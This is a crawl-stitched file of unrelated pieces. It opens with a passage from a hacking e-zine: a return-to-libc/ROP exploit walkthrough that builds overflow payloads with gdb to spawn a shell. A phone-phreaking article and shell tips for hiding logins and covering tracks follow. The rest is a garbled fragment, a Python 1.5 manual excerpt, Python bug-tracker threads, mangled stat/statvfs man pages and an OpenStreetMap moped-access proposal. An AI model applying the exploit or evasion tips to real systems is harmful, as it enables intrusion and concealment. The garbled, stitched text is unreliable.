-p, --poppopret Search for pop+pop+ret combinations
[storm@Dysthymia audit]$ msfelfscan -p ./example
[./example]
0x080483c3 pop ebx; pop ebp; ret
0x080484a7 pop edi; pop ebp; ret
0x080484e8 pop ebx; pop ebp; ret
[storm@Dysthymia audit]$
Any of these gadgets should do fine.
Let's update our template with what we know so far: strcpy@plt, printf@plt, GOT_of_printf, and pop
pop ret. Let's just stick "AAAA" in the return address of the overwritten printf(), since it really
doesn't matter. While we're at it, let's just find the address of "/bin/bash" too:
(gdb) run
Starting program: /home/storm/Desktop/audit/example
Breakpoint 1, 0x08048411 in main ()
(gdb) find $esp, 0xbfffffff, "/bin/bash"
0xbffff310
1 pattern found.
(gdb)
So, that brings us to:
AAAAAAAAA... [ \x14\x83\x04\x08 ] [ \xc3\x83\x04\x08 ] [ \xbc\x96\x04\x08 ] [ system[0] ]
[ \x14\x83\x04\x08 ] [ \xc3\x83\x04\x08 ] [ \xbd\x96\x04\x08 ] [ system[1] ]
[ \x14\x83\x04\x08 ] [ \xc3\x83\x04\x08 ] [ \xbe\x96\x04\x08 ] [ system[2] ]
[ \x14\x83\x04\x08 ] [ \xc3\x83\x04\x08 ] [ \xbf\x96\x04\x08 ] [ system[3] ]
[ \x24\x83\x04\x08 ] [ \x41\x41\x41\x41 ] [ \x10\xf3\xff\xbf ]
All we have left to do is find the locations of four bytes in memory that will be assembled together
to form &system.
(gdb) p system
$1 = {<text variable, no debug info>} 0x235eb0 <__libc_system>
(gdb)
These four bytes are: 0x00, 0x23, 0x5e, and 0xb0. It will be pretty easy to find these bytes
somewhere in memory, but for the greatest reliability we should confine the search to just within
the loaded program itself. For obvious reasons, we can't directly address the shared libraries, and
the stack and heap are too dynamic for reliable use.
By looking back at the output of ./stacky in the beginning of this paper, we notice that the memory
region 0x08048000-0x0804a000 remains static throughout every invocation of the program, both with
and without ASLR enabled. By looking at the ELF header of ./example, we see that within this region
of memory resides the binary image itself:
[storm@Dysthymia audit]$ readelf -S ./example
There are 30 section headers, starting at offset 0x7ec:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 <---- start
[ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048168 000168 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0804818c 00018c 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481ac 0001ac 000060 10 A 6 1 4
[ 6] .dynstr STRTAB 0804820c 00020c 000053 00 A 0 0 1
[ 7] .gnu.version VERSYM 08048260 000260 00000c 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 0804826c 00026c 000020 00 A 6 1 4
[ 9] .rel.dyn REL 0804828c 00028c 000008 08 A 5 0 4
[10] .rel.plt REL 08048294 000294 000020 08 A 5 12 4
[11] .init PROGBITS 080482b4 0002b4 000030 00 AX 0 0 4
[12] .plt PROGBITS 080482e4 0002e4 000050 04 AX 0 0 4
[13] .text PROGBITS 08048340 000340 0001ac 00 AX 0 0 16
[14] .fini PROGBITS 080484ec 0004ec 00001c 00 AX 0 0 4
[15] .rodata PROGBITS 08048508 000508 00001c 00 A 0 0 4
[16] .eh_frame_hdr PROGBITS 08048524 000524 000024 00 A 0 0 4
[17] .eh_frame PROGBITS 08048548 000548 00007c 00 A 0 0 4
[18] .ctors PROGBITS 080495c4 0005c4 000008 00 WA 0 0 4
[19] .dtors PROGBITS 080495cc 0005cc 000008 00 WA 0 0 4
[20] .jcr PROGBITS 080495d4 0005d4 000004 00 WA 0 0 4
[21] .dynamic DYNAMIC 080495d8 0005d8 0000c8 08 WA 6 0 4
[22] .got PROGBITS 080496a0 0006a0 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 080496a4 0006a4 00001c 04 WA 0 0 4
[24] .data PROGBITS 080496c0 0006c0 000004 00 WA 0 0 4
[25] .bss NOBITS 080496c4 0006c4 000008 00 WA 0 0 4 <---- end
[26] .comment PROGBITS 00000000 0006c4 00002c 01 MS 0 0 1
[27] .shstrtab STRTAB 00000000 0006f0 0000fc 00 0 0 1
[28] .symtab SYMTAB 00000000 000c9c 000430 10 29 45 4
[29] .strtab STRTAB 00000000 0010cc 000215 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
[storm@Dysthymia audit]$
Using gdb, we can quickly search for hits within this range:
(gdb) find /b /1 0x08048134,0x080496c4,0x00
0x8048146
1 pattern found.
(gdb) find /b /1 0x08048134,0x080496c4,0x23
0x804883c
1 pattern found.
(gdb) find /b /1 0x08048134,0x080496c4,0x5e
0x8048342 <_start+2>
1 pattern found.
(gdb) find /b /1 0x08048134,0x080496c4,0xb0
0x8048294
1 pattern found.
(gdb)
Excellent. Let's update our template one last time:
AAAAAAAAA... [ ]
Tie it all together and let it rip:
(gdb) run "'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/storm/Desktop/audit/example "'`
Detaching after fork from child process 14372.
[storm@Dysthymia audit]$ echo hax hax hax
hax hax hax
[storm@Dysthymia audit]$
VII. Return-to-libc by neg ROP
==============================
Readers should make sure they are familiar with all previous sections before continuing on. It's
worthwhile to know that there is, in fact, more than one way to circumvent ASCII-Armor. A second
technique discussed here is much shorter than the GOT overwrite method and relies more heavily on
ROP. For this method, we'll be borrowing a common tactic used by Windows exploit developers.
Instead of assembling an address byte-by-byte and patching the GOT, we can simply load the negated
address of system() into a register, negate the register, and then call the value of the register.
As our program is very small and doesn't contain a lot of code (and therefore very few gadgets to
work with), for the sake of the example we'll introduce a few small functions that provide the
appropriate neg and pop gadgets needed. Larger applications will have more code and more gadgets to
choose from, greatly increasing our chances of constructing a complete, featureful ROP chain.
[storm@Dysthymia audit]$ cat example.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void foo (char *bar)
{
char c[12];
strcpy(c, bar); // no bounds checking...
}
int coff (int p)
{
int x = 50008; // this integer generates a 'pop eax; ret' sequence
int d = x-p;
printf("Difference from threshold: %i\n", d);
return d;
}
int tcomp (int p)
{
return -p; // will produce a 'pop eax' gadget
}
int main (int argc, char **argv)
{
foo(argv[1]);
printf("Your input: %s\n", argv[1]);
}
[storm@Dysthymia audit]$ gcc example.c -o example
[storm@Dysthymia audit]$
Let's build a new template for our exploit:
AAAAAAAAAAAAAAAAAAAAAAAA [ pop eax ] [ two's complement of &system ] [ neg eax ] [ call eax ]
^ [ "/bin/bash" ]
|
overflow ("A"x24)
In earlier ret2libc exploit demonstrations, we allocated a 4-byte return-to pointer between the
return to system() and the function's argument, but since we are executing an actual call procedure
instead of returning into system(), a return-to pointer is being pushed onto the stack for us. The
next pointer immediately in our exploit string is our function argument.
In order to build our ROP chain, we'll use ROPeMe to scan the binary and generate gadgets:
[storm@Dysthymia audit]$ ropeme-bhus10/ropeme/ropshell.py
Simple ROP interactive shell: [generate, load, search] gadgets
ROPeMe> generate ./example 4
Generating gadgets for ./example with backward depth=4
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 87 gadgets
Dumping asm gadgets to file: example.ggt ...
OK
ROPeMe> search pop %
Searching for ROP gadget: pop % with constraints: []
0x80482e0L: pop eax ; pop ebx ; leave ;;
0x8048417L: pop eax ;;
0x80484f3L: pop ebp ; ret ; mov ebx [esp] ;;
0x80483c4L: pop ebp ;;
0x804844bL: pop ebp ;;
0x80484e8L: pop ebp ;;
0x80482e1L: pop ebx ; leave ;;
0x8048545L: pop ebx ; leave ;;
0x80483c3L: pop ebx ; pop ebp ;;
0x8048528L: pop ebx ; pop ebp ;;
0x80484e5L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
0x8048544L: pop ecx ; pop ebx ; leave ;;
0x80484e7L: pop edi ; pop ebp ;;
0x80484e6L: pop esi ; pop edi ; pop ebp ;;
ROPeMe> search neg %
Searching for ROP gadget: neg % with constraints: []
0x8048449L: neg eax ; pop ebp ;;
ROPeMe> search call %
Searching for ROP gadget: call % with constraints: []
0x80483f0L: call eax ; leave ;;
0x8048543L: call far dword [ecx+0x5b] ; leave ;;
ROPeMe>
For our 'pop eax' gadget, we'll choose 0x8048417 since it's the only straightforward option. Notice
that there is also a 'pop eax; pop ebx; leave ;;' gadget located at 0x80482e0, but we want to avoid
gadgets like these if at all possible to prevent having to work around the leave instruction messing
up the stack pointer (leave in x86 means literally 'mov esp, ebp; pop ebp').
AAAAAAAAAAAAAAAAAAAAAAAA [ \x17\x84\x04\x08 ] [ two's comp of &system ] [ neg eax ] [ call eax ]
^ [ "/bin/bash" ]
|
overflow ("A"x24)
For our 'neg eax' gadget, 0x8048449 is our only option but it will work fine. We'll have to work
around the 'pop ebp' instruction by modifying our template and adding a junk pointer into the ROP
chain immediately after the pointer to the gadget. When the gadget executes, it will first negate
eax (as we want) and then pop four junk bytes to ebp, performing nothing directly useful for us but
preventing the instruction from disrupting the rest of the chain.
AAAAAAAAAAAAAAAAAAAAAAAA [ \x17\x84\x04\x08 ] [ two's comp of &system ] [ \x49\x84\x04\x08 ]
^ [ \x41\x41\x41\x41 ] [ call eax ] [ "/bin/bash" ]
| ^
overflow ("A"x24) ------ junk 4 bytes
For our 'call eax' gadget, 0x80483f0 is our only candidate but it will also work fine. We don't
have to worry about the leave instruction in this gadget since we will have already returned into
system() beforehand, so the only time it will be executed is after our dropped shell is closed. At
this point, the program will be heading towards a segfault anyways.
AAAAAAAAAAAAAAAAAAAAAAAA [ \x17\x84\x04\x08 ] [ two's comp of &system ] [ \x49\x84\x04\x08 ]
^ [ \x41\x41\x41\x41 ] [ \xf0\x83\x04\x08 ] [ "/bin/bash" ]
|
overflow ("A"x24)
We can calculate the two's complement (negation) of &system in gdb:
[storm@Dysthymia audit]$ gdb -q ./example
Reading symbols from /home/storm/Desktop/audit/example...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048450
(gdb) run
Starting program: /home/storm/Desktop/audit/example
Breakpoint 1, 0x08048450 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x235eb0 <__libc_system>
(gdb) p/x -0x235eb0
$2 = 0xffdca150
(gdb)
Update:
AAAAAAAAAAAAAAAAAAAAAAAA [ \x17\x84\x04\x08 ] [ \x50\xa1\xdc\xff ] [ \x49\x84\x04\x08 ]
^ [ \x41\x41\x41\x41 ] [ \xf0\x83\x04\x08 ] [ "/bin/bash" ]
|
overflow ("A"x24)
Finding the location of "/bin/bash" should be routine by now:
(gdb) find $esp, 0xbfffffff, "/bin/bash"
0xbffff310
1 pattern found.
(gdb)
And let's fill in the final part of the template:
AAAAAAAAAAAAAAAAAAAAAAAA [ ]
|
overflow ("A"x24)
And cross our fingers:
(gdb) disas foo
Dump of assembler code for function foo:
0x080483f4 <+0>: push %ebp
0x080483f5 <+1>: mov %esp,%ebp
0x080483f7 <+3>: sub $0x28,%esp
0x080483fa <+6>: mov 0x8(%ebp),%eax
0x080483fd <+9>: mov %eax,0x4(%esp)
0x08048401 <+13>: lea -0x14(%ebp),%eax
0x08048404 <+16>: mov %eax,(%esp)
0x08048407 <+19>: call 0x8048314 <strcpy@plt>
0x0804840c <+24>: leave
0x0804840d <+25>: ret
End of assembler dump.
(gdb) delete
Delete all breakpoints? (y or n) y
(gdb) break *0x0804840d
Breakpoint 2 at 0x804840d
(gdb) run "'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/storm/Desktop/audit/example "'`
Breakpoint 2, 0x0804840d in foo ()
(gdb) x/32x $esp
0xbfffef3c: 0x08048417 0xffdca150 0x08048449 0x41414141
(gdb) x/i $eip
=> 0x804840d <foo+25>: ret
(gdb) si
Cannot access memory at address 0x41414145
(gdb) x/5i $eip
=> 0x8048417 <coff+9>: pop %eax
0x8048418 <coff+10>: ret
0x8048419 <coff+11>: add %al,(%eax)
0x804841b <coff+13>: mov 0x8(%ebp),%eax
0x804841e <coff+16>: mov -0xc(%ebp),%edx
(gdb) si
0x08048418 in coff ()
(gdb) i r eax
eax 0xffdca150 -2318000
(gdb) si
Cannot access memory at address 0x41414145
(gdb) x/5i $eip
=> 0x8048449 <tcomp+6>: neg %eax
0x804844b <tcomp+8>: pop %ebp
0x804844c <tcomp+9>: ret
0x804844d <main>: push %ebp
0x804844e <main+1>: mov %esp,%ebp
(gdb) si
0x0804844b in tcomp ()
(gdb) i r eax
eax 0x235eb0 2318000
(gdb) x/32x $esp
0xbfffef48: 0x41414141 0x080483f0 0xbffff310 0x00000000
0xbfffef58: 0xbfffefd8 0x00212e36 0x00000002 0xbffff004
0xbfffef68: 0xbffff010 0xb7fff478 0x00110414 0xffffffff
0xbfffef78: 0x001f8fbc 0x08048243 0x00000001 0xbfffefc0
0xbfffef88: 0x001e8da7 0x001f9ab8 0xb7fff758 0x00381ff4
0xbfffef98: 0x00000000 0x00000000 0xbfffefd8 0xa41d67a2
0xbfffefa8: 0x199850dd 0x00000000 0x00000000 0x00000000
0xbfffefb8: 0x00000002 0x08048340 0x00000000 0x001ef420
(gdb) si
0x0804844c in tcomp ()
(gdb) i r ebp
ebp 0x41414141 0x41414141
(gdb) x/5i $eip
=> 0x804844c <tcomp+9>: ret
0x804844d <main>: push %ebp
0x804844e <main+1>: mov %esp,%ebp
0x8048450 <main+3>: and $0xfffffff0,%esp
0x8048453 <main+6>: sub $0x10,%esp
(gdb) x/32x $esp
0xbfffefbc: 0x08048340 0x00000000 0x001ef420 0x00212d5b
(gdb) si
Cannot access memory at address 0x41414145
(gdb) x/5i $eip
=> 0x80483f0 <frame_dummy+32>: call *%eax
0x80483f2 <frame_dummy+34>: leave
0x80483f3 <frame_dummy+35>: ret
0x80483f4 <foo>: push %ebp
0x80483f5 <foo+1>: mov %esp,%ebp
(gdb) si
__libc_system (line=0xbffff310 "/bin/bash") at ../sysdeps/posix/system.c:179
179 {
(gdb) c
Continuing.
Detaching after fork from child process 16945.
[storm@Dysthymia audit]$ echo ROP til you drop
ROP til you drop
[storm@Dysthymia audit]$
VIII. References and Further Reading
====================================
[1]
[2]
[3]
[4]
[5]
Special thanks to corelanc0d3r, phetips, and zx2c4 for their review and suggestions
[==================================================================================================]
-=[ 0x07 A New Kind of Google Mining
-=[ Author: Shadytel, Inc
-=[ Website:
There are two kinds of CEOs in this world: those who take advantage of every resource they possibly
can, and pussies. Our arrest at a Communications Fraud Control Association convention suggests
there's more of the latter than we thought, so there seemed no better time than now to help fellow
corporate overlords expand their ruthlessness.
There are times when scanning can flat out suck - we'll be the first to admit it. There's no better
way to kill your initiative than to go through a range filled with numbers that just ring or put you
on the phone with bewildered subscribers. If you're just looking for an interesting way to kill some
time, there's a much easier way. Here to give you a hand is a tool you'd never expect; Google Maps.
For example, let's do a search for AT&T in Terre Haute, Indiana. Keeping in mind that all the AT&T
results that are legitimately cell phone stores have the AT&T logo by them, let's pick the first one
that doesn't; 812-235-0096. What we got wasn't a bad start at all.
"You've reached AT&T in Terre Haute, Indiana. This is an unmanned site. Please leave a message after
the tone or if you need immediate assistance, contact the on-site workforce."
While it's noteworthy that the mailbox in question is on a Nortel PBX, the configuration is pretty
well locked down. So to even the odds out a little, we'll throw out another nifty technique - this
time an IVR made by Verizon shortly before the Frontier buyout of several states. The CLEC
maintenance center is pretty much what it sounds like: an IVR for switchless resellers to help test
customer lines and create trouble reports. Give it a try: (877) 503-8260. Right away, you'll be
asked for the OCN of the company you work for. Type in 0772; this goes for all unported Verizon or
Frontier lines in ex-GTE states. Select the all other category, the state of Indiana, and give it
the number to the AT&T PBX.
Once it looks up the account number, you'll be greeted with four options:
Press one for 812-235-0096
Press two for 812-235-0575
Press three for 812-235-4781
Press four for 812-235-5087
These all correspond to numbers associated with that same account. So not a bad way to find a few
interesting numbers, right? Here's a few other nice things we found.
207-693-9920 - Sensaphone (searched for Fairpoint in Portland, ME)
406-495-1408 - Weird ANAC, test command 7 is non-functioning ringback (searched for Qwest
Communications in Helena, MT)
304-263-2510 - Verizon Potomac Assignment Provisioning Center number changed recording (Searched for
C&P Telco in Martinsburg, WV)
That last listing brings us to two final points; first of all, type slowly - the auto-suggest
feature is a better friend then you might think. Second, sometimes the best way to search is to use
the names of phone companies that don't exist anymore - or just aren't generally used to do business
with the public. For example, C&P Telephone hasn't existed since the Bell System breakup. MCI is
another good one, but there's also quite a few numbers that ring out, so it can be a little tedious.
We personally like AT&T best, since they constantly feel the need to share their more interesting
internal numbers.
So like the article itself, this technique probably isn't for anybody wanting a long-term project;
but if you want something instantly - whether it be excitement, lulz, or puzzling contraptions to
cut your teeth with, just add water.
As always, keep it evil, keep it shady, keep it ruthless.
[==================================================================================================]
-=[ 0x08 Stupid Shell Tricks
-=[ Author: teh crew
Logging into SSH and interacting with a shell is probably necessary at one point or another in one's
hacking career. We've compiled a list of tips and tricks from various individuals in the community
that may prove helpful next time you're looking to to avoid detection and cover your tracks on a
system.
-----
The common way to list logged-in users has always been the `w` command. First read in article 0x04
of Phrack #64, the -T flag in ssh can be used to not allocate a tty upon login, preventing the user
from being listed in `w` output:
ssh -T storm@gonullyourself.org
This obviously leaves you with a blank prompt, so it's not a bad idea to simulate one:
ssh -T storm@gonullyourself.org bash -i
For those who care, we can prevent logging the remote host's information to known_hosts through:
ssh -T -o UserKnownHostsFile=/dev/null storm@gonullyourself.org bash -i
Not having a tty causes some predictable issues with certain programs. Utilities like `man` and
`less` will print out data in its entirety instead of fitting it to the terminal and providing
scrollability. `screen` will flat-out refuse to work:
[storm@mania ~]$ screen
Must be connected to a terminal.
Fortunately, we can fake a tty using Python which gives us somewhat broken support for some of the
utilities we want to use:
[storm@mania ~]$ python -c 'import pty;pty.spawn("/bin/sh")'
sh-3.2$ perl -e'print "$_\n" for ( 1 .. 20 )' > ..
1. Employers
2. Roles
3. Learn from a Book
4. Learn from a Course
5. University
6. Capture the Flag and War Games
7. Communication
8. Meet People
9. Conferences
10. Certifications
11. Links
12. Friends of the Class
1..
2..] ..
4....
* Information Security Conferences Calendar at [56]. [57]
If you're working somewhere and are having trouble justifying conference attendance to your company,
the Infosec Leaders blog has some helpful advice. [58]
10.+
*
12.]
[==================================================================================================]
-=[
[==================================================================================================]
|
http://packetstormsecurity.org/files/107385/Go-Null-Yourself-E-Zine-Issue-06.html
|
crawl-003
|
en
|
refinedweb
|
Python 1.5 Reference Manual string argument passed to the built-in function eval and to the exec statement are code blocks. The file read by the built-in function
execfile name spaces, the local and the global name space, that affect execution of the code block.
A name space is a mapping from names (identifiers) to objects. A particular name space may be referenced by more than one execution frame, and from other places as well. Adding a name to a name space is called binding a name (to an object); changing the mapping of a name is called rebinding; removing a name is unbinding. Name spaces are functionally equivalent to dictionaries (and often implemented as dictionaries).
The local name space of an execution frame determines the default place where names are defined and searched. The global name space specified name space; global names are searched only in the global and built-in namespace.[1]
A target occurring in a del statement is also considered bound for this purpose (though the actual semantics are to "unbind" the name).
When a global name is not found in the global name space, it is searched in the built-in namespace. The built-in namespace associated with the execution of a code block is actually found by looking up the name
__builtins__ is its global name space; this should be a dictionary or a module (in the latter case its dictionary is used). Normally, the
__builtins__ namespace is the dictionary of the built-in module
__builtin__ (note: no 's'); if it isn't, restricted execution mode is in effect, see [Ref:XXX]. When a name is not found at all, a NameError exception is raised.
The following table lists the local and global name space used for all types of code blocks. The name space for a particular module is automatically created when the module is first imported. Note that in almost all cases, the global name space is the name space of the containing module -- scopes in Python do not nest!Notes:
n.s. means name space
(1) The main module for a script is always called
__main__; ''the filename don't enter into it.''
(2) The global and local name space for these can be overridden with optional extra arguments.
(3) The
exec statement and the
eval() and
execfile() functions have optional arguments to override the global and local namespace. If only one namespace is specified, it is used for both.
The built-in functions globals() and locals() returns a dictionary representing the current global and local name space, respectively. The effect of modifications to this dictionary on the name space are undefined.[2] the offending piece of code from the top).
When an exception is not handled at all, the interpreter terminates execution of the program, or returns to its interactive main loop. In this case, the interpreter normally prints a stack backtrace.
Exceptions are identified by string and raise statements in "Compound statements" on page 47.
Generated with Harlequin WebMaker
|
http://docs.python.org/release/1.5/ref/ref-6.html
|
crawl-003
|
en
|
refinedweb
|
Created on 2003-11-10 11:32 by dcjim, last changed 2010-07-23 09:56 by mark.dickinson. This issue is now closed.
You can't use iterators on wekref dicts because items
might be removed from the dictionaries while iterating
due to GC.
I've attached a script that illustrates the bug with
Python 2.3.2. It doesn't matter whether you use weak
key or weak value dicts.
If this can't be fixed, then the iteration methods should
either be removed or made to (lamely) create intermediate
lists to work around the problem.
I made a patch to fix the problem. The cleaning up of they weakref keys or
values will be held until all references to iterators created by the
weakdict are dead.
I also couldn't resist removing code duplication of code in items(),
keys() and values().
At first, I couldn't understand why this whole remove(), _remove() and
selfref() mechanism was in place. I had removed them and replaced them
with methods, and the tests still passed. Then I realized it was to make
sure keys and values didn't prevent the weak dicts from being freed. I
added tests for this.
Patch has tests, may need updating.
Interesting patch. I think the intermediate assertEquals in
test_weak_*_dict_flushed_dead_items_when_iters_go_out are just testing
an implementation detail, only the final one should remain.
Also, it is likely the "code duplication" you are talking about was
there for performance reasons, so I'd suggest putting it back in.
About duplicated code and performance:
When I look at the duplicated code, I don't see anything that remotely
looks like a performance tweak. Just to make sure, I made a bench:
#!/usr/bin/env python
import sys
sys.path.insert(0, 'Lib')
import timeit
import weakref
class Foo(object): pass
def setup():
L = [Foo() for i in range(1000)]
global d
d = weakref.WeakValueDictionary(enumerate(L))
del L[:500] # have some dead weakrefs
def do():
d.values()
print timeit.timeit(do, setup, number=100000)
Results without the patch:
./python.exe weakref_bench.py
0.804216861725
Results with the patch:
$ ./python.exe weakref_bench.py
0.813000202179
I think the small difference in performance is more attributable to the
extra processing the weakref dict does than the deduplication of the
code itself..
Oh, that's me again not correctly reading my own tests. It's the
*_are_not_held_* tests that test that no reference is kept.
I agree about the *_flushed_dead_items_* being an implementation detail.
> Results without the patch:
> ./python.exe weakref_bench.py
> 0.804216861725
>
> Results with the patch:
> $ ./python.exe weakref_bench.py
> 0.813000202179
Thanks for the numbers, I see my worries were unfounded.
>.
I was talking about doing `self.assertEqual(len(d), self.COUNT)` before
deleting the iterators.
I can confirm that the patch applies with minimal fuzz to the
release26-maint branches and the trunk, and that the added tests fail
without the updated implementation in both cases.
Furthermore, Jim's original demo script emits it error with my stock 2.6.5
Python, but is silent with the patched trunk / 2.6 branch.
Probably old news, but this also affects 2.5.4.
If this is to go forward the patch will need porting to 2.7, 3.1 and 3.2
It looks like this issue has been fixed in issue7105 already. Can we close this ticket?
It's not yet fixed in 2.7 or 2.6. Updating versions.
We might as well backport Antoine's patch rather than take this one (even if mine for 2.x already). It would be weird to have 2 wildly different patches to solve the same problem.
Maybe close this ticket and flag issue7105 for backporting?
Agreed.
|
http://bugs.python.org/issue839159
|
crawl-003
|
en
|
refinedweb
|
Created on 2010-04-13 23:19 by torsten, last changed 2010-04-14 20:15 by brett.cannon. This issue is now closed.!?
Err, typo, in c.py I meant to write
# Does not work:
import a.b.t as t
# Works:
# import a.b.t
So without renaming it it works.
The 'as' trigger some more instructions after import, not just renaming the loaded file name, to be specific in your example is, load attribute 'b' from 'a', and then load attribute 'c' from 'b'.
'import a.b.t' do import a.b.t and then just store 'a' in local namespace which is a reference of module 'a'
while,
'import a.b.t as t' do import a.b.t and then load attribute 'b' from module 'a', then load attribute 't' from module 'b', finally store 't' in local namespace as a reference of a.b.t
But at that time('import a.b.t as t'), the statement 'import a.b' in demo.py hasn't finished executing yet, (because it triggers the statement 'import a.b.c' in a/b/__init__.py, which then triggers the statement 'import a.b.t as t' in a/b/c.py), along with the a/b/__init.py__.py file, although the module a has been imported, but module 'b' hasn't finished importing, it't only put in sys.modules, its module's code hasn't finishing executing(the code in a/b/__init__.py). In this case the module 'b' is considered not finishing importing, so it hasn't been put in module a's dict as an attribute yet.
So when the statement 'import a.b.t as t' executes in a/b/c.py, the module 'a' hasn't the attribute 'b'. But after the statement 'import a.b' in demo.py, the a/b/__init__.py file has complete executing, and the module b has finished importing, module 'b' has been put in module a's dict, at this time, 'load attribute b from a' is valid. So the import a.b as b in demo.py also works.
First off, the 'as' clause is not influencing anything; simply try to assign ``t = a.b.t`` and you still get the error.
Second, you are trying to reference a.b in a.b.c through your a.b.t import before a.b has finished importing. This is causing the import system to not have a chance to bind the b module to a.b before you try to reference it.
The reason ``from a.b import t`` works is the 'from' clause is handled after all imports resolve as a separate step, so everything settles, gets imported, and then Python tries to get a.b.t long after a.b if finished.
In other words it's a funky import cycle which you break with ``from a.b import t``. Nothing we can do to change it.
|
http://bugs.python.org/issue8389
|
crawl-003
|
en
|
refinedweb
|
SYNOPSIS
#include <sys/statvfs.h>
int fstatvfs(int fildes, struct statvfs *buf);
int statvfs(const char *restrict path, struct statvfs *restrict buf);
DESCRIPTION struc-
ture.
RETURN VALUE
Upon successful completion, statvfs() shall return 0. Otherwise, it
shall return -1 and set errno to indicate the error.
ERRORS}.
The following sections are informative.
EXAMPLES);
APPLICATION USAGE
None.
RATIONALE .
|
http://www.linux-directory.com/man3/statvfs.shtml
|
crawl-003
|
en
|
refinedweb
|
SYNOPSIS
#include <sys/stat.h>
int stat(const char *restrict path, struct stat *restrict buf);
DESCRIPTION con-
tinue.
RETURN VALUE
Upon successful completion, 0 shall be returned. Otherwise, -1 shall be
returned and errno set to indicate the error.
ERRORS
The stat()
A value to be stored would overflow one of the members of the
stat structure.
The following sections are informative.
EXAMPLES);
}
APPLICATION USAGE
None.
RATIONALE.
FUTURE DIRECTIONS
None.
SEE ALSO
fstat() , lstat() , readlink() , symlink() , the Base Definitions vol-
|
http://www.linux-directory.com/man3/stat.shtml
|
crawl-003
|
en
|
refinedweb
|
Proposed features/moped access
Rationale
In Finland mopeds are defined as 2-wheeled very light motorcycles with a maximum speed of 45 km/h and maximum engine size of 50 cm³. A real motorcycle/car driving license isn't required to operate one, but in Finland young people have to take a short course to get a moped driving license (M-class). I imagine similar definitions are used in other countries as well?
Anyway in Finland mopeds are sometimes allowed to drive on foot/cycleways, sometimes not. This is signaled with traffic signs and the data should be available on maps as well for routing purposes. Mopeds are never allowed to drive on motorways and they should use the shoulder of the road, if available, when driving on other roads. See Moped for some definitions of a moped.
Applies to
- Ways
-
A footway (or cycleway) where you can drive a moped:
<tag k="highway" v="footway" /> <tag k="moped" v="yes" />
Default, if the tag is missing from a footway/cycleway, could be no access, or not known. Default for roads smaller than motorways should be yes.
- Sounds good. It would join the car, foot, bicycle, bus=yes/no family. FYI, definition is similiar in the UK, up to 49 cc as I recall. The situation is similar in Sweden, mopeds seem to be able to ride on most footpath / cycleways unless specifically prohibited by signs. MikeCollinson 17:37, 23 September 2007 (BST)
- In the Netherlands, there are so-called "bromfietspaden". Essentially, these are shared moped-cycleways. I've come across such a way during mapping and thought of "scooter=yes/no/.." but after a discussion on talk-nl I believe moped is the better option. --Benbono 23:29, 23 September 2007 (BST)
- Sounds good. In Germany we have the "Autostraße" that are not marked in any map but where these 50ccm scooters cannot drive. We where already discussing this issue on the german map-features page without a conclusion yet. --MarcusWolschon 05:03, 24 September 2007 (BST)
- I'd prefer to see this as part of the access: namespace proposal. --Hawke 21:47, 24 September 2007 (BST)
- I like the namespace idea (didn't see it first because it isn't linked from the access-section of the parent wiki page). Access tags should definitely be in their own namespace. Anyway that's semantics, so I guess we could consider this page as a general yes/no discussion to the idea of having any kind of moped access tags. Tsok 05:20, 25 September 2007 (BST)
- In Belgium, mopeds are divided in two different classes: A (maximum speed 25km/h, no driver's license needed) and B (maximum speed 45km/h, driver's license needed), with different rules for them (class B not always allowed to follow a cycleway for example like class A, or roads where class B isn't allowed and A is, or where B can't drive in the opposite direction in a one-way road and A can. Anyone an idea how that could be solved? --Eimai 12:44, 16 April 2008 (UTC)
- In germany we have to classes Mofas (max 25km/h) and Mopeds (max 50km/h). Mopeds must always drive on a street, but Mofas can drive on e.g. cycleways when an extra sign allows this. --Marco.horstmann 16:37, 29 December 2008 (UTC)
- I'd like to propose mofa=* for moped-light: "Mofa" in Germany, moped class A in Belgium, "Snorfiets" in The Netherlands. Such a verhicle is sometimes treated differently from a regular/"real" moped, so one access category is not enough. It is not a real bicycle either. For example in The Netherlands, mofas can (must) ride on regular cycleways where mopeds are not allowed, but they are not allowed on optional cycleways (unless the engine is turned off). --Cjw 21:52, 19 May 2009 (UTC)
- usage in Belgium is "moped_A" and "moped_B", and "moped" includes those two categories. What's the relationship between "moped" and "mofa" in the Netherlands then? --Eimai 17:14, 23 May 2009 (UTC)
- The classes seem to be the same in several countries, just the names are different. In the Netherlands a "snorfiets" (=belgian moped A, =german mofa) is treated like a bicycle in all cases except one. A "bromfiets" (=belgian moped B, = german moped/kleinkraftrad), however is often directed to car lanes in towns/cities. Is it different in Belgium? A moped category including both vehicle types could be nice for roads where neither is allowed, but is it needed? It also requires finding an additional name while I already have enough trouble finding an appropriate name for "mofas". AFAICT "moped" quite universally means a motorized two-wheeled vehicle that is allowed to go 40-50km/h. So my proposal would mean for Belgium moped_A=>mofa and moped_B=>moped, if some rule applies to both, 2 tags would be needed. Anyway, the important thing is to have the same tags everywhere. --Cjw 19:09, 25 May 2009 (UTC)
